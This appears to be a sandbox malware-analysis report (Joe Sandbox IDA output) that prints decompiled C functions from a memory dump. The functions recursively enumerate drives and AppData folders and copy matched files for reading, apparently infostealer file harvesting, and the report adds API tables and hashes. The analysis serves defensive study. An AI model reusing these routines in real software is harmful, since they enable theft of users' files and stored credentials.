								__eflags = _t68;
								if(_t68 != 0) {
									goto L26;
								}
								_t152 = PathCombineW(LocalAlloc(0x40, 0x2288), _t121,  &(_v656.cFileName));
								_v40 = _t152;
								_v24 = LocalAlloc(0x40, 0x248);
								_t87 = LocalAlloc(0x40, 0x618);
								_v16 = _t87;
								 *0x4230c0(0, _v24, 0x1a, 0);
								__eflags = _a8;
								if(_a8 != 0) {
									_push(_a8);
								} else {
									_push(_v24);
								}
								__eflags = E004187BE( &(_t152[lstrlenW()]),  &_v16, 0);
								if(__eflags == 0) {
									L24:
									LocalFree(_v24);
									LocalFree(_v16);
									L25:
									LocalFree(_t152);
									goto L26;
								} else {
									_t94 = StrCpyW(LocalAlloc(0x40, 0x40),  *0x4231b0);
									_t141 =  *0x4231ac; // 0x5139b08
									_t96 = E0041AD76(E0041AD76(_t94, _t141, __eflags), _v16, __eflags);
									_v16 = _t96;
									_v36 = WideCharToMultiByte(0xfde9, 0, _t96, 0xffffffff, 0, 0, 0, 0);
									_t146 = LocalAlloc(0x40, 0x144);
									_t99 = _v36;
									__eflags = _t99;
									if(_t99 == 0) {
										L22:
										LocalFree(_t146);
										L23:
										_t145 = _v20;
										goto L24;
									}
									__eflags = WideCharToMultiByte(0xfde9, 0, _v16, 0xffffffff, _t146, _t99, 0, 0);
									if(__eflags == 0) {
										goto L22;
									}
									_v12 = LocalAlloc(0x40, 0x20a);
									_t103 = E0041C37E(_t152,  &_v12, __eflags);
									__eflags = _t103;
									if(_t103 == 0) {
										L21:
										DeleteFileW(_v12);
										LocalFree(_v12);
										goto L22;
									}
									_t106 = CopyFileW(_t152, _v12, 0);
									__eflags = _t106;
									if(_t106 == 0) {
										goto L21;
									}
									_t153 = CreateFileW(_v12, 0x80000000, 1, 0, 4, 0, 0);
									GetFileSize(_t153, 0);
									_t110 = LocalAlloc(0x40, 0x20a);
									_v60 = _t146;
									_v56 = _t153;
									_t111 = StrCpyW(_t110, _v12);
									_t136 = _v28;
									_v48 = _v48 & 0x00000000;
									_v52 = _t111;
									 *_t136 =  *_v28 + 1;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsd");
									LocalFree(_v12);
									_t152 = _v40;
									goto L23;
								}
							}
							_t72 = lstrcmpW( &(_v656.cFileName),  *0x4231c8);
							__eflags = _t72;
							if(_t72 == 0) {
								goto L11;
							}
							_t74 = lstrcmpW( &(_v656.cFileName),  *0x4234e0);
							__eflags = _t74;
							if(_t74 == 0) {
								goto L11;
							}
							_t75 = LocalAlloc(0x40, 0x2288); // executed
							_t152 = PathCombineW(_t75, _t121,  &(_v656.cFileName));
							E0041EC8D(_t76, _v32, _v28, _a4, _a8, _t152, _a16, _a20 + 1); // executed
							_t155 = _t155 + 0x14;
							goto L25;
							L26:
							_t70 = FindNextFileW(_t145,  &_v656); // executed
							__eflags = _t70;
						} while (_t70 != 0);
						LocalFree(_t121);
						LocalFree(_v44);
						FindClose(_t145); // executed
						__eflags = 1;
						return 1;
					} else {
						LocalFree(_t121);
						LocalFree(_t151);
						return 0;
					}
				}
				return __eax | 0xffffffff;
			}

0x0041ec9d
0x0041eca0
0x0041eca3
0x0041ecc1
0x0041ecc3
0x0041ecd0
0x0041ecd2
0x0041ecd8
0x0041ecdb
0x0041ecdd
0x0041ece7
0x0041ece9
0x0041ecf3
0x0041ecf3
0x0041ece9
0x0041ecf7
0x0041ecfd
0x0041ed0a
0x0041ed14
0x0041ed17
0x0041ed1d
0x0041ed1f
0x0041ed22
0x0041ed25
0x0041ed3c
0x0041ed3c
0x0041ed43
0x0041edb3
0x0041edc0
0x0041edc6
0x0041edc8
0x00000000
0x00000000
0x0041edef
0x0041edf3
0x0041ee03
0x0041ee06
0x0041ee13
0x0041ee18
0x0041ee1e
0x0041ee22
0x0041ee29
0x0041ee24
0x0041ee24
0x0041ee24
0x0041ee40
0x0041ee42
0x0041ef7f
0x0041ef82
0x0041ef8b
0x0041ef91
0x0041ef92
0x00000000
0x0041ee48
0x0041ee59
0x0041ee5f
0x0041ee71
0x0041ee78
0x0041ee95
0x0041ee9e
0x0041eea0
0x0041eea3
0x0041eea5
0x0041ef75
0x0041ef76
0x0041ef7c
0x0041ef7c
0x00000000
0x0041ef7c
0x0041eec2
0x0041eec4
0x00000000
0x00000000
0x0041eeda
0x0041eedf
0x0041eee4
0x0041eee6
0x0041ef63
0x0041ef66
0x0041ef6f
0x00000000
0x0041ef6f
0x0041eeee
0x0041eef4
0x0041eef6
0x00000000
0x00000000
0x0041ef0f
0x0041ef14
0x0041ef21
0x0041ef2a
0x0041ef2e
0x0041ef31
0x0041ef37
0x0041ef3d
0x0041ef44
0x0041ef52
0x0041ef54
0x0041ef55
0x0041ef56
0x0041ef57
0x0041ef58
0x0041ef5e
0x00000000
0x0041ef5e
0x0041ee42
0x0041ed52
0x0041ed58
0x0041ed5a
0x00000000
0x00000000
0x0041ed69
0x0041ed6f
0x0041ed71
0x00000000
0x00000000
0x0041ed7a
0x0041ed92
0x0041eda6
0x0041edab
0x00000000
0x0041ef98
0x0041efa0
0x0041efa6
0x0041efa6
0x0041efaf
0x0041efb8
0x0041efbf
0x0041efc7
0x00000000
0x0041ed27
0x0041ed28
0x0041ed2f
0x00000000
0x0041ed35
0x0041ed25
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,0000020A,00000000,00000000,00000000), ref: 0041ECB4
LocalAlloc.KERNEL32(00000040,00000218), ref: 0041ECC3
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0041ECD2
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041ECE1
StrCpyW.SHLWAPI(00000000,00000000), ref: 0041ECED
StrCpyW.SHLWAPI(00000000,00000000), ref: 0041ECF7
FindFirstFileW.KERNELBASE(00000000,?), ref: 0041ED17
LocalFree.KERNEL32(00000000), ref: 0041ED28
LocalFree.KERNEL32(00000000), ref: 0041ED2F

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocFree$FileFindFirstFolderPathSpeciallstrcmp
String ID:
API String ID: 388453216-0
Opcode ID: ab68bdcdf756b2e3e877baa098b5a21ba0a2e03fd6e504e8c8f5445ddeca889f
Instruction ID: f55edf57d0c99b6c7f460eaf7ca702d3807f3088ed00cd4a0f4c8e803d5a3ce1
Opcode Fuzzy Hash: ab68bdcdf756b2e3e877baa098b5a21ba0a2e03fd6e504e8c8f5445ddeca889f
Instruction Fuzzy Hash: 6B919271B00205BFDB215FA1DC4DFAE7B79FF04712F400565FA05A62E0DB799A428B68

Uniqueness

Uniqueness Score: -1.00%

Function 004042C6 Relevance: 63.2, APIs: 35, Strings: 1, Instructions: 225
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042C6(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, WCHAR* _a12) {
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				WCHAR* _v44;
				WCHAR* _v48;
				struct _WIN32_FIND_DATAW _v640;
				WCHAR* _t55;
				void* _t60;
				WCHAR* _t67;
				WCHAR* _t75;
				WCHAR* _t76;
				WCHAR* _t84;
				WCHAR* _t85;
				void* _t86;
				WCHAR* _t89;
				WCHAR* _t91;
				void* _t97;
				WCHAR* _t110;
				WCHAR* _t111;
				void* _t116;
				signed int _t137;
				WCHAR* _t147;
				WCHAR* _t150;
				WCHAR* _t151;
				signed int _t158;
				WCHAR* _t160;
				WCHAR* _t161;
				void* _t162;
				void* _t163;

				_t111 = __ecx;
				_v28 = __edx;
				_v48 = __ecx;
				_t55 = StrStrW(__ecx,  *0x4231a0);
				while(1) {
					_t150 = _t55;
					if(_t150 == 0) {
						break;
					}
					_t151 =  &(_t150[4]);
					_t3 =  &((StrStrW(_t151,  *0x423200))[1]); // 0x2
					_v12 = StrStrW(_t3,  *0x4231f4);
					_t60 = LocalAlloc(0x40, lstrlenW(_t111) + _t58); // executed
					_v16 = _t60;
					_v20 = LocalAlloc(0x40, lstrlenW(_t111) + _t61);
					_v24 = LocalAlloc(0x40, lstrlenW(_t111) + _t64);
					_t114 = _v12 - _t151 >> 1;
					_t67 = E00419B4E(_t151,  &_v16, _t3 - _t151 >> 1, _v12 - _t151 >> 1);
					__eflags = _t67;
					if(_t67 == 0) {
						L14:
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						L15:
						return 1;
					}
					_t75 = StrStrW( &(_v12[1]),  *0x4231f4);
					_v12 = _t75;
					_t158 = _t75 - _t151 >> 1;
					_t76 = E00419B4E(_t151,  &_v20, _t114 + 1, _t158);
					__eflags = _t76;
					if(_t76 == 0) {
						goto L14;
					}
					_v44 = StrStrW( &(_v12[1]),  *0x423250);
					_t17 = _t158 + 1; // 0x1
					__eflags = E00419B4E(_t151,  &_v24, _t17, _t79 - _t151 >> 1);
					if(__eflags == 0) {
						goto L14;
					}
					_v12 = PathCombineW(LocalAlloc(0x40, 0x208), _a12, _v24);
					_t84 = E0041AD76(LocalAlloc(0x40, 0x208), _t82, __eflags);
					_t147 =  *0x4231cc; // 0x513baf8
					_t85 = E0041AD76(_t84, _t147, __eflags);
					_v40 = _t85;
					_t86 = FindFirstFileW(_t85,  &_v640); // executed
					_t116 = _t86;
					_v36 = _t116;
					__eflags = _t116 - 0xffffffff;
					if(_t116 == 0xffffffff) {
						return 0;
					} else {
						goto L5;
					}
					do {
						L5:
						__eflags = _v640.dwFileAttributes & 0x00000010;
						if((_v640.dwFileAttributes & 0x00000010) != 0) {
							__eflags = _v640.cFileName - 0x2e;
							if(_v640.cFileName != 0x2e) {
								_t91 = StrStrW( &(_v640.cFileName), _v16);
								__eflags = _t91;
								if(_t91 != 0) {
									_t160 = StrCpyW(LocalAlloc(0x40, 0x20a), _a12);
									_v32 = _t160;
									_t32 =  &((StrRChrW(_t160, 0, 0x5c))[1]); // 0x2
									_t137 = _t32 - _t160;
									__eflags = _t137;
									 *((short*)(_t160 + (_t137 >> 1) * 2 - 0x16)) = 0;
									_t36 =  &((StrRChrW(_t160, 0, 0x5c))[1]); // 0x2
									_t97 = LocalAlloc(0x40, 0x208);
									_t161 = _v12;
									_t162 = PathCombineW(E0041AD76(_t97, _t161, __eflags), _t161,  &(_v640.cFileName));
									E0040401E(_t162, _v20, __eflags, _t36, _t32, _v28, _a4);
									_t163 = _t163 + 0x10;
									LocalFree(_t162);
									LocalFree(_v32);
									_t116 = _v36;
								}
							}
						}
						_t89 = FindNextFileW(_t116,  &_v640); // executed
						__eflags = _t89;
					} while (_t89 != 0);
					FindClose(_t116); // executed
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v12);
					LocalFree(_v40);
					_t110 = _v44 + 2;
					__eflags = _t110;
					_t55 = StrStrW(_t110,  *0x4231a0);
					_t111 = _v48;
				}
				goto L15;
			}

0x004042d8
0x004042da
0x004042de
0x004042e1
0x00404560
0x00404560
0x00404564
0x00000000
0x00000000
0x004042f2
0x00404302
0x0040430d
0x0040431b
0x00404322
0x00404337
0x00404353
0x00404356
0x00404360
0x00404367
0x00404369
0x00404570
0x00404573
0x0040457c
0x00404585
0x0040458b
0x00000000
0x0040458d
0x0040437c
0x00404384
0x0040438c
0x00404395
0x0040439c
0x0040439e
0x00000000
0x00000000
0x004043b9
0x004043c4
0x004043d1
0x004043d3
0x00000000
0x00000000
0x004043f9
0x00404406
0x0040440b
0x00404413
0x0040441e
0x00404423
0x00404429
0x0040442b
0x0040442e
0x00404431
0x00000000
0x00000000
0x00000000
0x00000000
0x00404437
0x00404437
0x00404437
0x0040443e
0x00404444
0x0040444c
0x0040445c
0x00404462
0x00404464
0x00404483
0x00404488
0x00404493
0x0040449a
0x0040449a
0x004044a0
0x004044b2
0x004044b5
0x004044bb
0x004044dc
0x004044e5
0x004044ea
0x004044ee
0x004044f7
0x004044fd
0x004044fd
0x00404464
0x0040444c
0x00404508
0x0040450e
0x0040450e
0x00404517
0x00404520
0x00404529
0x00404532
0x0040453b
0x00404544
0x00404553
0x00404553
0x00404557
0x0040455d
0x0040455d
0x00000000

APIs

StrStrW.SHLWAPI(00000000,?,00000000,?), ref: 004042E1
StrStrW.SHLWAPI(-00000008), ref: 004042F6
StrStrW.SHLWAPI(00000002), ref: 00404306
lstrlenW.KERNEL32(00000000), ref: 00404310
LocalAlloc.KERNELBASE(00000040,00000000), ref: 0040431B
lstrlenW.KERNEL32(00000000), ref: 00404325
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404330
lstrlenW.KERNEL32(00000000), ref: 0040433A
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404345
StrStrW.SHLWAPI(?), ref: 0040437C
StrStrW.SHLWAPI(?), ref: 004043B1
LocalAlloc.KERNEL32(00000040,00000208), ref: 004043E1
PathCombineW.SHLWAPI(00000000,00402A90,?), ref: 004043EE
LocalAlloc.KERNEL32(00000040,00000208), ref: 004043FC

Strings

., xrefs: 00404444

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: AllocLocal$lstrlen$CombinePath
String ID: .
API String ID: 1241344349-248832578
Opcode ID: 930da765340efd513321e5931529d5526d1948e0dbf4a7f5b44b2db6696cabf4
Instruction ID: 73c81171ec4c61d1cd74c635d60068c9a4d64f81a11c7b85489f1a439636b69a
Opcode Fuzzy Hash: 930da765340efd513321e5931529d5526d1948e0dbf4a7f5b44b2db6696cabf4
Instruction Fuzzy Hash: 73816571B00205AFDB215FB4EC4DAAEBB79FF48706F404569F705E22A0DB385A518B6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404593 Relevance: 63.2, APIs: 35, Strings: 1, Instructions: 225
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404593(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, WCHAR* _a12) {
				WCHAR* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				WCHAR* _v44;
				WCHAR* _v48;
				struct _WIN32_FIND_DATAW _v640;
				WCHAR* _t55;
				WCHAR* _t67;
				WCHAR* _t75;
				WCHAR* _t76;
				WCHAR* _t84;
				WCHAR* _t85;
				void* _t86;
				WCHAR* _t89;
				WCHAR* _t91;
				void* _t97;
				WCHAR* _t110;
				WCHAR* _t111;
				void* _t116;
				signed int _t137;
				WCHAR* _t147;
				WCHAR* _t150;
				WCHAR* _t151;
				signed int _t158;
				WCHAR* _t160;
				WCHAR* _t161;
				void* _t162;
				void* _t163;

				_t111 = __ecx;
				_v28 = __edx;
				_v48 = __ecx;
				_t55 = StrStrW(__ecx,  *0x423208);
				while(1) {
					_t150 = _t55;
					if(_t150 == 0) {
						break;
					}
					_t151 =  &(_t150[4]);
					_t3 =  &((StrStrW(_t151,  *0x423200))[1]); // 0x2
					_v12 = StrStrW(_t3,  *0x4231f4);
					_v16 = LocalAlloc(0x40, lstrlenW(_t111) + _t58);
					_v20 = LocalAlloc(0x40, lstrlenW(_t111) + _t61);
					_v24 = LocalAlloc(0x40, lstrlenW(_t111) + _t64);
					_t114 = _v12 - _t151 >> 1;
					_t67 = E00419B4E(_t151,  &_v16, _t3 - _t151 >> 1, _v12 - _t151 >> 1);
					__eflags = _t67;
					if(_t67 == 0) {
						L14:
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						L15:
						return 1;
					}
					_t75 = StrStrW( &(_v12[1]),  *0x4231f4);
					_v12 = _t75;
					_t158 = _t75 - _t151 >> 1;
					_t76 = E00419B4E(_t151,  &_v20, _t114 + 1, _t158);
					__eflags = _t76;
					if(_t76 == 0) {
						goto L14;
					}
					_v44 = StrStrW( &(_v12[1]),  *0x423250);
					_t17 = _t158 + 1; // 0x1
					__eflags = E00419B4E(_t151,  &_v24, _t17, _t79 - _t151 >> 1);
					if(__eflags == 0) {
						goto L14;
					}
					_v12 = PathCombineW(LocalAlloc(0x40, 0x208), _a12, _v24);
					_t84 = E0041AD76(LocalAlloc(0x40, 0x208), _t82, __eflags);
					_t147 =  *0x4231cc; // 0x513baf8
					_t85 = E0041AD76(_t84, _t147, __eflags);
					_v40 = _t85;
					_t86 = FindFirstFileW(_t85,  &_v640); // executed
					_t116 = _t86;
					_v36 = _t116;
					__eflags = _t116 - 0xffffffff;
					if(_t116 == 0xffffffff) {
						return 0;
					} else {
						goto L5;
					}
					do {
						L5:
						__eflags = _v640.dwFileAttributes & 0x00000010;
						if((_v640.dwFileAttributes & 0x00000010) != 0) {
							__eflags = _v640.cFileName - 0x2e;
							if(_v640.cFileName != 0x2e) {
								_t91 = StrStrW( &(_v640.cFileName), _v16);
								__eflags = _t91;
								if(_t91 != 0) {
									_t160 = StrCpyW(LocalAlloc(0x40, 0x20a), _a12);
									_v32 = _t160;
									_t32 =  &((StrRChrW(_t160, 0, 0x5c))[1]); // 0x2
									_t137 = _t32 - _t160;
									__eflags = _t137;
									 *((short*)(_t160 + (_t137 >> 1) * 2 - 0x16)) = 0;
									_t36 =  &((StrRChrW(_t160, 0, 0x5c))[1]); // 0x2
									_t97 = LocalAlloc(0x40, 0x208);
									_t161 = _v12;
									_t162 = PathCombineW(E0041AD76(_t97, _t161, __eflags), _t161,  &(_v640.cFileName));
									E00403D76(_t162, _v20, __eflags, _t36, _t32, _v28, _a4);
									_t163 = _t163 + 0x10;
									LocalFree(_t162);
									LocalFree(_v32);
									_t116 = _v36;
								}
							}
						}
						_t89 = FindNextFileW(_t116,  &_v640); // executed
						__eflags = _t89;
					} while (_t89 != 0);
					FindClose(_t116); // executed
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v12);
					LocalFree(_v40);
					_t110 = _v44 + 2;
					__eflags = _t110;
					_t55 = StrStrW(_t110,  *0x423208);
					_t111 = _v48;
				}
				goto L15;
			}

0x004045a5
0x004045a7
0x004045ab
0x004045ae
0x0040482d
0x0040482d
0x00404831
0x00000000
0x00000000
0x004045bf
0x004045cf
0x004045da
0x004045ef
0x00404604
0x00404620
0x00404623
0x0040462d
0x00404634
0x00404636
0x0040483d
0x00404840
0x00404849
0x00404852
0x00404858
0x00000000
0x0040485a
0x00404649
0x00404651
0x00404659
0x00404662
0x00404669
0x0040466b
0x00000000
0x00000000
0x00404686
0x00404691
0x0040469e
0x004046a0
0x00000000
0x00000000
0x004046c6
0x004046d3
0x004046d8
0x004046e0
0x004046eb
0x004046f0
0x004046f6
0x004046f8
0x004046fb
0x004046fe
0x00000000
0x00000000
0x00000000
0x00000000
0x00404704
0x00404704
0x00404704
0x0040470b
0x00404711
0x00404719
0x00404729
0x0040472f
0x00404731
0x00404750
0x00404755
0x00404760
0x00404767
0x00404767
0x0040476d
0x0040477f
0x00404782
0x00404788
0x004047a9
0x004047b2
0x004047b7
0x004047bb
0x004047c4
0x004047ca
0x004047ca
0x00404731
0x00404719
0x004047d5
0x004047db
0x004047db
0x004047e4
0x004047ed
0x004047f6
0x004047ff
0x00404808
0x00404811
0x00404820
0x00404820
0x00404824
0x0040482a
0x0040482a
0x00000000

APIs

StrStrW.SHLWAPI(00000000,?,00000000,?), ref: 004045AE
StrStrW.SHLWAPI(-00000008), ref: 004045C3
StrStrW.SHLWAPI(00000002), ref: 004045D3
lstrlenW.KERNEL32(00000000), ref: 004045DD
LocalAlloc.KERNEL32(00000040,00000000), ref: 004045E8
lstrlenW.KERNEL32(00000000), ref: 004045F2
LocalAlloc.KERNEL32(00000040,00000000), ref: 004045FD
lstrlenW.KERNEL32(00000000), ref: 00404607
LocalAlloc.KERNEL32(00000040,00000000), ref: 00404612
StrStrW.SHLWAPI(?), ref: 00404649
StrStrW.SHLWAPI(?), ref: 0040467E
LocalAlloc.KERNEL32(00000040,00000208), ref: 004046AE
PathCombineW.SHLWAPI(00000000,00402AA3,?), ref: 004046BB
LocalAlloc.KERNEL32(00000040,00000208), ref: 004046C9

Strings

., xrefs: 00404711

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: AllocLocal$lstrlen$CombinePath
String ID: .
API String ID: 1241344349-248832578
Opcode ID: 00494eec6af47f107d6a6fa3a32bb5e691272e5e004c73d676d2927259f9e60d
Instruction ID: b6a60229b3c4b3b47d95e39b74f924d6d76a25659f63568f815e85e0baa4df69
Opcode Fuzzy Hash: 00494eec6af47f107d6a6fa3a32bb5e691272e5e004c73d676d2927259f9e60d
Instruction Fuzzy Hash: 03815371B00205AFDB215FB4DC4DDAEBBB9FF48706F404569F605E22A0DB385A518B6C

Uniqueness

Uniqueness Score: -1.00%

Function 0041EA6E Relevance: 22.7, APIs: 15, Instructions: 181
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EA6E(intOrPtr __ecx, void* __edx) {
				short _v8;
				intOrPtr _v12;
				short _v14;
				char _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				int _v44;
				void* _v48;
				void* _t43;
				signed int _t45;
				signed int _t47;
				void* _t48;
				WCHAR* _t49;
				WCHAR* _t51;
				void* _t52;
				int _t57;
				signed int _t62;
				intOrPtr* _t66;
				signed int _t71;
				void* _t75;
				signed int _t81;
				void* _t86;
				void* _t90;
				signed int _t93;
				intOrPtr _t97;
				WCHAR* _t98;
				void* _t101;
				signed int _t102;
				void* _t104;
				signed int _t106;
				void* _t109;
				signed int _t110;
				signed int _t111;
				void* _t114;

				_t104 = __edx;
				_t97 = __ecx;
				_v24 = __edx;
				_v20 = __ecx;
				_v44 = 0;
				_t75 = LocalAlloc(0x40, 0x1000);
				_t43 = E0041EC8D(0, _t75,  &_v44, _t97, 0, 0, _t104, 0); // executed
				_t114 = (_t111 & 0xfffffff8) - 0x2c + 0x14;
				if(_t43 >= 0) {
					_t98 = LocalAlloc(0x40, 0x410);
					_v32 = _t98;
					_t45 = GetLogicalDriveStringsW(0x208, _t98); // executed
					_v40 = _t45;
					__eflags = _t45;
					if(_t45 == 0) {
						L10:
						__eflags = _v44;
						if(_v44 > 0) {
							_t48 = LocalAlloc(0x40, 0x208);
							_t49 = LocalAlloc(0x40, 0x208);
							_t90 = 0x10;
							_v20 = E00416B1A(_t48, _t90);
							_t51 = StrCpyW(_t49,  *0x423230);
							_t101 = _v24;
							_t52 = E0041AD76(_t51, _t101, __eflags);
							_t81 =  *0x423224; // 0x513bc38
							_v36 = _t52;
							_v44 = _t81;
							_v40 = 0;
							_v32 = E00413A99( &_v36, __eflags);
							_t109 = LocalAlloc(0x40, 0x184);
							_t57 = WideCharToMultiByte(0xfde9, 0, _t101, 0xffffffff, 0, 0, 0, 0);
							__eflags = _t57;
							if(_t57 != 0) {
								_t62 = WideCharToMultiByte(0xfde9, 0, _t101, 0xffffffff, _t109, _t57, 0, 0);
								__eflags = _t62;
								if(_t62 != 0) {
									__eflags = 0;
									E004133D0(_v28, _t109, 0, 0, _v48, _t75, _v32,  &_v44);
								}
							}
							LocalFree(_t109);
							LocalFree(_v32);
							LocalFree(_v36);
							LocalFree(_t101);
						}
						_t106 = 1;
						__eflags = 1;
						L16:
						LocalFree(_t75);
						_t47 = _t106;
						L17:
						return _t47;
					}
					_t110 = 0;
					__eflags = _t45;
					if(_t45 == 0) {
						goto L10;
					}
					_t86 = _v32;
					_t102 =  &(_t98[0xfffffffffffffffe]);
					__eflags = _t102;
					_t93 = _v40;
					_t66 = _t86 - 6;
					_v28 = _t66;
					do {
						__eflags = _t110;
						if(_t110 <= 0) {
							goto L9;
						}
						__eflags =  *(_t86 + _t110 * 2);
						_t93 = _v40;
						if( *(_t86 + _t110 * 2) != 0) {
							goto L9;
						}
						_v16 =  *_t66;
						_v14 =  *_t102;
						_v12 = 0;
						_v8 = 0;
						_t71 = E0041EC8D( &_v16, _t75,  &_v44, _v20,  &_v16, _t70, _v24, 0); // executed
						_t114 = _t114 + 0x14;
						__eflags = _t71;
						if(_t71 < 0) {
							_t106 = _t110 | 0xffffffff;
							goto L16;
						}
						_t110 = _t110 + 1;
						_t86 = _v32;
						_t66 = _v28 + 2;
						_t93 = _v40;
						_t102 = _t102 + 2;
						__eflags = _t102;
						L9:
						_t110 = _t110 + 3;
						_t66 = _t66 + 6;
						_t102 = _t102 + 6;
						_v28 = _t66;
						__eflags = _t110 - _t93;
					} while (_t110 < _t93);
					goto L10;
				}
				_t47 = LocalFree(_t75) | 0xffffffff;
				goto L17;
			}

0x0041ea7f
0x0041ea81
0x0041ea85
0x0041ea8b
0x0041ea8f
0x0041ea99
0x0041eaa8
0x0041eaad
0x0041eab2
0x0041ead0
0x0041ead8
0x0041eadc
0x0041eae2
0x0041eae6
0x0041eae8
0x0041eb80
0x0041eb80
0x0041eb85
0x0041eb92
0x0041eba1
0x0041eba9
0x0041ebb9
0x0041ebbe
0x0041ebc4
0x0041ebcc
0x0041ebd1
0x0041ebd7
0x0041ebdd
0x0041ebe5
0x0041ebf5
0x0041ebff
0x0041ec10
0x0041ec16
0x0041ec18
0x0041ec29
0x0041ec2f
0x0041ec31
0x0041ec40
0x0041ec4b
0x0041ec50
0x0041ec31
0x0041ec54
0x0041ec5e
0x0041ec68
0x0041ec6f
0x0041ec6f
0x0041ec77
0x0041ec77
0x0041ec78
0x0041ec79
0x0041ec7f
0x0041ec81
0x0041ec87
0x0041ec87
0x0041eaf0
0x0041eaf2
0x0041eaf4
0x00000000
0x00000000
0x0041eafa
0x0041eafe
0x0041eafe
0x0041eb01
0x0041eb05
0x0041eb08
0x0041eb0c
0x0041eb0c
0x0041eb0e
0x00000000
0x00000000
0x0041eb12
0x0041eb16
0x0041eb1a
0x00000000
0x00000000
0x0041eb23
0x0041eb2d
0x0041eb39
0x0041eb3d
0x0041eb4c
0x0041eb51
0x0041eb54
0x0041eb56
0x0041ec88
0x00000000
0x0041ec88
0x0041eb60
0x0041eb61
0x0041eb65
0x0041eb68
0x0041eb6c
0x0041eb6c
0x0041eb6f
0x0041eb6f
0x0041eb72
0x0041eb75
0x0041eb78
0x0041eb7c
0x0041eb7c
0x00000000
0x0041eb0c
0x0041eabb
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00001000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00411225), ref: 0041EA93
LocalFree.KERNEL32(00000000), ref: 0041EAB5
LocalAlloc.KERNEL32(00000040,00000410), ref: 0041EACA
GetLogicalDriveStringsW.KERNELBASE(00000208,00000000), ref: 0041EADC
LocalAlloc.KERNEL32(00000040,00000208), ref: 0041EB92
LocalAlloc.KERNEL32(00000040,00000208), ref: 0041EBA1
StrCpyW.SHLWAPI(00000000), ref: 0041EBBE
LocalAlloc.KERNEL32(00000040,00000184), ref: 0041EBF9

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$Alloc$DriveFreeLogicalStrings
String ID:
API String ID: 4183962003-0
Opcode ID: 41ea9e32f1f448cd8cc443cc60a41b4af41d599e6113a15a4a7a25b978014b46
Instruction ID: 1f84ffe9ed3025d20eee97c9803e5efb6f08b3708352a4641332fe6e6f7fe5c3
Opcode Fuzzy Hash: 41ea9e32f1f448cd8cc443cc60a41b4af41d599e6113a15a4a7a25b978014b46
Instruction Fuzzy Hash: DD51B675704301AFD310DF259C4996BBAE9FF88755F000A2DF955D7290EB38CE428BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00414CB1 Relevance: 21.1, APIs: 14, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 51%

